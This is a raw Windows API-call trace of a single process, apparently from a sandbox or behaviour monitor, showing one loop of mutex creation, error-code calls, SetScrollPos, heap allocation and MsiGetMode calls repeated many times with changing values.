	[0094.121] GetCurrentProcessId () returned 0xb50
	[0094.121] GetLastError () returned 0x578
	[0094.121] SetLastError (dwErrCode=0x578) 
	[0094.121] GetLastError () returned 0x578
	[0094.121] SetLastError (dwErrCode=0x578) 
	[0094.121] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.121] GetLastError () returned 0x0
	[0094.121] ReleaseMutex (hMutex=0x360) returned 1
	[0094.122] CloseHandle (hObject=0x360) returned 1
	[0094.122] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1175334018, bRedraw=1) returned 0
	[0094.122] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.122] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.122] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.122] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.122] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.122] GetCurrentProcessId () returned 0xb50
	[0094.122] GetLastError () returned 0x578
	[0094.122] SetLastError (dwErrCode=0x578) 
	[0094.122] GetLastError () returned 0x578
	[0094.122] SetLastError (dwErrCode=0x578) 
	[0094.122] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.122] GetLastError () returned 0x0
	[0094.122] ReleaseMutex (hMutex=0x360) returned 1
	[0094.122] CloseHandle (hObject=0x360) returned 1
	[0094.122] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1332034608, bRedraw=1) returned 0
	[0094.122] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.122] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.122] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.122] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.122] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.122] GetCurrentProcessId () returned 0xb50
	[0094.123] GetLastError () returned 0x578
	[0094.123] SetLastError (dwErrCode=0x578) 
	[0094.123] GetLastError () returned 0x578
	[0094.123] SetLastError (dwErrCode=0x578) 
	[0094.123] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.123] GetLastError () returned 0x0
	[0094.123] ReleaseMutex (hMutex=0x360) returned 1
	[0094.123] CloseHandle (hObject=0x360) returned 1
	[0094.123] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1498365150, bRedraw=1) returned 0
	[0094.123] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.123] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.123] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.123] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.123] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.123] GetCurrentProcessId () returned 0xb50
	[0094.123] GetLastError () returned 0x578
	[0094.123] SetLastError (dwErrCode=0x578) 
	[0094.123] GetLastError () returned 0x578
	[0094.123] SetLastError (dwErrCode=0x578) 
	[0094.123] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.123] GetLastError () returned 0x0
	[0094.123] ReleaseMutex (hMutex=0x360) returned 1
	[0094.123] CloseHandle (hObject=0x360) returned 1
	[0094.123] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1674325644, bRedraw=1) returned 0
	[0094.124] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.124] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.124] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.124] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.124] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.124] GetCurrentProcessId () returned 0xb50
	[0094.124] GetLastError () returned 0x578
	[0094.124] SetLastError (dwErrCode=0x578) 
	[0094.124] GetLastError () returned 0x578
	[0094.124] SetLastError (dwErrCode=0x578) 
	[0094.124] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.124] GetLastError () returned 0x0
	[0094.124] ReleaseMutex (hMutex=0x360) returned 1
	[0094.124] CloseHandle (hObject=0x360) returned 1
	[0094.124] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1859916090, bRedraw=1) returned 0
	[0094.124] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.124] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.124] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.124] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.124] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.124] GetCurrentProcessId () returned 0xb50
	[0094.124] GetLastError () returned 0x578
	[0094.124] SetLastError (dwErrCode=0x578) 
	[0094.124] GetLastError () returned 0x578
	[0094.125] SetLastError (dwErrCode=0x578) 
	[0094.125] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.125] GetLastError () returned 0x0
	[0094.125] ReleaseMutex (hMutex=0x360) returned 1
	[0094.125] CloseHandle (hObject=0x360) returned 1
	[0094.125] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2055136488, bRedraw=1) returned 0
	[0094.125] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.125] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.125] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.125] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.125] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.125] GetCurrentProcessId () returned 0xb50
	[0094.125] GetLastError () returned 0x578
	[0094.125] SetLastError (dwErrCode=0x578) 
	[0094.125] GetLastError () returned 0x578
	[0094.125] SetLastError (dwErrCode=0x578) 
	[0094.125] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.125] GetLastError () returned 0x0
	[0094.125] ReleaseMutex (hMutex=0x360) returned 1
	[0094.125] CloseHandle (hObject=0x360) returned 1
	[0094.125] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2034980458, bRedraw=1) returned 0
	[0094.125] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.125] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.126] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.126] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.126] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.126] GetCurrentProcessId () returned 0xb50
	[0094.126] GetLastError () returned 0x578
	[0094.126] SetLastError (dwErrCode=0x578) 
	[0094.126] GetLastError () returned 0x578
	[0094.126] SetLastError (dwErrCode=0x578) 
	[0094.126] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.126] GetLastError () returned 0x0
	[0094.126] ReleaseMutex (hMutex=0x360) returned 1
	[0094.126] CloseHandle (hObject=0x360) returned 1
	[0094.126] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1820500156, bRedraw=1) returned 0
	[0094.126] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.126] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.126] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.126] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.126] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.126] GetCurrentProcessId () returned 0xb50
	[0094.126] GetLastError () returned 0x578
	[0094.126] SetLastError (dwErrCode=0x578) 
	[0094.126] GetLastError () returned 0x578
	[0094.126] SetLastError (dwErrCode=0x578) 
	[0094.126] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.127] GetLastError () returned 0x0
	[0094.127] ReleaseMutex (hMutex=0x360) returned 1
	[0094.127] CloseHandle (hObject=0x360) returned 1
	[0094.127] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1596389902, bRedraw=1) returned 0
	[0094.127] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.127] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.127] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.127] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.127] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.128] GetCurrentProcessId () returned 0xb50
	[0094.128] GetLastError () returned 0x578
	[0094.128] SetLastError (dwErrCode=0x578) 
	[0094.128] GetLastError () returned 0x578
	[0094.128] SetLastError (dwErrCode=0x578) 
	[0094.128] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.128] GetLastError () returned 0x0
	[0094.128] ReleaseMutex (hMutex=0x360) returned 1
	[0094.128] CloseHandle (hObject=0x360) returned 1
	[0094.128] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1362649696, bRedraw=1) returned 0
	[0094.128] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.128] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.128] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.128] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.128] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.128] GetCurrentProcessId () returned 0xb50
	[0094.128] GetLastError () returned 0x578
	[0094.128] SetLastError (dwErrCode=0x578) 
	[0094.128] GetLastError () returned 0x578
	[0094.128] SetLastError (dwErrCode=0x578) 
	[0094.128] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.128] GetLastError () returned 0x0
	[0094.128] ReleaseMutex (hMutex=0x360) returned 1
	[0094.128] CloseHandle (hObject=0x360) returned 1
	[0094.128] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1119279538, bRedraw=1) returned 0
	[0094.129] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.129] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.129] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.129] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.129] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.129] GetCurrentProcessId () returned 0xb50
	[0094.129] GetLastError () returned 0x578
	[0094.129] SetLastError (dwErrCode=0x578) 
	[0094.129] GetLastError () returned 0x578
	[0094.129] SetLastError (dwErrCode=0x578) 
	[0094.129] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.129] GetLastError () returned 0x0
	[0094.129] ReleaseMutex (hMutex=0x360) returned 1
	[0094.129] CloseHandle (hObject=0x360) returned 1
	[0094.129] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-866279428, bRedraw=1) returned 0
	[0094.129] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.129] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.129] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.129] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.129] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.129] GetCurrentProcessId () returned 0xb50
	[0094.129] GetLastError () returned 0x578
	[0094.130] SetLastError (dwErrCode=0x578) 
	[0094.130] GetLastError () returned 0x578
	[0094.130] SetLastError (dwErrCode=0x578) 
	[0094.130] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.130] GetLastError () returned 0x0
	[0094.130] ReleaseMutex (hMutex=0x360) returned 1
	[0094.130] CloseHandle (hObject=0x360) returned 1
	[0094.130] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-603649366, bRedraw=1) returned 0
	[0094.130] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.130] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.130] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.130] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.130] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.130] GetCurrentProcessId () returned 0xb50
	[0094.130] GetLastError () returned 0x578
	[0094.130] SetLastError (dwErrCode=0x578) 
	[0094.130] GetLastError () returned 0x578
	[0094.130] SetLastError (dwErrCode=0x578) 
	[0094.130] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.130] GetLastError () returned 0x0
	[0094.130] ReleaseMutex (hMutex=0x360) returned 1
	[0094.130] CloseHandle (hObject=0x360) returned 1
	[0094.130] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-331389352, bRedraw=1) returned 0
	[0094.131] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.131] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.131] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.131] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.131] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.131] GetCurrentProcessId () returned 0xb50
	[0094.131] GetLastError () returned 0x578
	[0094.131] SetLastError (dwErrCode=0x578) 
	[0094.131] GetLastError () returned 0x578
	[0094.131] SetLastError (dwErrCode=0x578) 
	[0094.131] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.131] GetLastError () returned 0x0
	[0094.131] ReleaseMutex (hMutex=0x360) returned 1
	[0094.131] CloseHandle (hObject=0x360) returned 1
	[0094.131] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-49499386, bRedraw=1) returned 0
	[0094.131] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.131] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.131] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.131] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.131] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.131] GetCurrentProcessId () returned 0xb50
	[0094.131] GetLastError () returned 0x578
	[0094.131] SetLastError (dwErrCode=0x578) 
	[0094.131] GetLastError () returned 0x578
	[0094.132] SetLastError (dwErrCode=0x578) 
	[0094.132] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.132] GetLastError () returned 0x0
	[0094.132] ReleaseMutex (hMutex=0x360) returned 1
	[0094.132] CloseHandle (hObject=0x360) returned 1
	[0094.132] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=242020532, bRedraw=1) returned 0
	[0094.132] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.132] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.132] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.132] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.132] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.132] GetCurrentProcessId () returned 0xb50
	[0094.132] GetLastError () returned 0x578
	[0094.132] SetLastError (dwErrCode=0x578) 
	[0094.132] GetLastError () returned 0x578
	[0094.132] SetLastError (dwErrCode=0x578) 
	[0094.132] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.132] GetLastError () returned 0x0
	[0094.132] ReleaseMutex (hMutex=0x360) returned 1
	[0094.132] CloseHandle (hObject=0x360) returned 1
	[0094.132] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=543170402, bRedraw=1) returned 0
	[0094.132] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.132] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.133] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.133] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.133] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.133] GetCurrentProcessId () returned 0xb50
	[0094.133] GetLastError () returned 0x578
	[0094.133] SetLastError (dwErrCode=0x578) 
	[0094.133] GetLastError () returned 0x578
	[0094.133] SetLastError (dwErrCode=0x578) 
	[0094.133] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.133] GetLastError () returned 0x0
	[0094.133] ReleaseMutex (hMutex=0x360) returned 1
	[0094.133] CloseHandle (hObject=0x360) returned 1
	[0094.133] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=853950224, bRedraw=1) returned 0
	[0094.133] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.133] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.133] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.133] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.133] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.133] GetCurrentProcessId () returned 0xb50
	[0094.133] GetLastError () returned 0x578
	[0094.133] SetLastError (dwErrCode=0x578) 
	[0094.133] GetLastError () returned 0x578
	[0094.133] SetLastError (dwErrCode=0x578) 
	[0094.133] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.134] GetLastError () returned 0x0
	[0094.134] ReleaseMutex (hMutex=0x360) returned 1
	[0094.134] CloseHandle (hObject=0x360) returned 1
	[0094.134] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1174359998, bRedraw=1) returned 0
	[0094.134] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.134] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.134] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.134] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.134] GetCurrentProcessId () returned 0xb50
	[0094.134] GetLastError () returned 0x578
	[0094.134] SetLastError (dwErrCode=0x578) 
	[0094.134] GetLastError () returned 0x578
	[0094.134] SetLastError (dwErrCode=0x578) 
	[0094.134] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.134] GetLastError () returned 0x0
	[0094.134] ReleaseMutex (hMutex=0x360) returned 1
	[0094.134] CloseHandle (hObject=0x360) returned 1
	[0094.134] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1504399724, bRedraw=1) returned 0
	[0094.134] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.134] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.134] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.135] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.135] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.135] GetCurrentProcessId () returned 0xb50
	[0094.135] GetLastError () returned 0x578
	[0094.135] SetLastError (dwErrCode=0x578) 
	[0094.135] GetLastError () returned 0x578
	[0094.135] SetLastError (dwErrCode=0x578) 
	[0094.135] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.135] GetLastError () returned 0x0
	[0094.135] ReleaseMutex (hMutex=0x360) returned 1
	[0094.135] CloseHandle (hObject=0x360) returned 1
	[0094.135] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1844069402, bRedraw=1) returned 0
	[0094.135] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.135] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.135] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.135] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.135] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.135] GetCurrentProcessId () returned 0xb50
	[0094.135] GetLastError () returned 0x578
	[0094.135] SetLastError (dwErrCode=0x578) 
	[0094.135] GetLastError () returned 0x578
	[0094.135] SetLastError (dwErrCode=0x578) 
	[0094.135] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.135] GetLastError () returned 0x0
	[0094.135] ReleaseMutex (hMutex=0x360) returned 1
	[0094.135] CloseHandle (hObject=0x360) returned 1
	[0094.136] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2101598264, bRedraw=1) returned 0
	[0094.136] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.136] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.136] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.136] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.136] GetCurrentProcessId () returned 0xb50
	[0094.136] GetLastError () returned 0x578
	[0094.136] SetLastError (dwErrCode=0x578) 
	[0094.136] GetLastError () returned 0x578
	[0094.136] SetLastError (dwErrCode=0x578) 
	[0094.136] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.136] GetLastError () returned 0x0
	[0094.136] ReleaseMutex (hMutex=0x360) returned 1
	[0094.136] CloseHandle (hObject=0x360) returned 1
	[0094.136] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1742668682, bRedraw=1) returned 0
	[0094.136] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.136] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.136] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.136] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.136] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.136] GetCurrentProcessId () returned 0xb50
	[0094.136] GetLastError () returned 0x578
	[0094.137] SetLastError (dwErrCode=0x578) 
	[0094.137] GetLastError () returned 0x578
	[0094.137] SetLastError (dwErrCode=0x578) 
	[0094.137] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.137] GetLastError () returned 0x0
	[0094.137] ReleaseMutex (hMutex=0x360) returned 1
	[0094.137] CloseHandle (hObject=0x360) returned 1
	[0094.137] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1374109148, bRedraw=1) returned 0
	[0094.137] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.137] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.137] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.137] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.137] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.137] GetCurrentProcessId () returned 0xb50
	[0094.137] GetLastError () returned 0x578
	[0094.137] SetLastError (dwErrCode=0x578) 
	[0094.137] GetLastError () returned 0x578
	[0094.137] SetLastError (dwErrCode=0x578) 
	[0094.137] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.137] GetLastError () returned 0x0
	[0094.137] ReleaseMutex (hMutex=0x360) returned 1
	[0094.137] CloseHandle (hObject=0x360) returned 1
	[0094.137] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-995919662, bRedraw=1) returned 0
	[0094.138] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.138] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.138] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.138] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.138] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.138] GetCurrentProcessId () returned 0xb50
	[0094.138] GetLastError () returned 0x578
	[0094.138] SetLastError (dwErrCode=0x578) 
	[0094.138] GetLastError () returned 0x578
	[0094.138] SetLastError (dwErrCode=0x578) 
	[0094.138] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.138] GetLastError () returned 0x0
	[0094.138] ReleaseMutex (hMutex=0x360) returned 1
	[0094.138] CloseHandle (hObject=0x360) returned 1
	[0094.138] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-608100224, bRedraw=1) returned 0
	[0094.138] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.138] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.138] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.138] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.138] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.138] GetCurrentProcessId () returned 0xb50
	[0094.138] GetLastError () returned 0x578
	[0094.138] SetLastError (dwErrCode=0x578) 
	[0094.139] GetLastError () returned 0x578
	[0094.139] SetLastError (dwErrCode=0x578) 
	[0094.139] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.139] GetLastError () returned 0x0
	[0094.139] ReleaseMutex (hMutex=0x360) returned 1
	[0094.139] CloseHandle (hObject=0x360) returned 1
	[0094.139] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-210650834, bRedraw=1) returned 0
	[0094.139] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.139] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
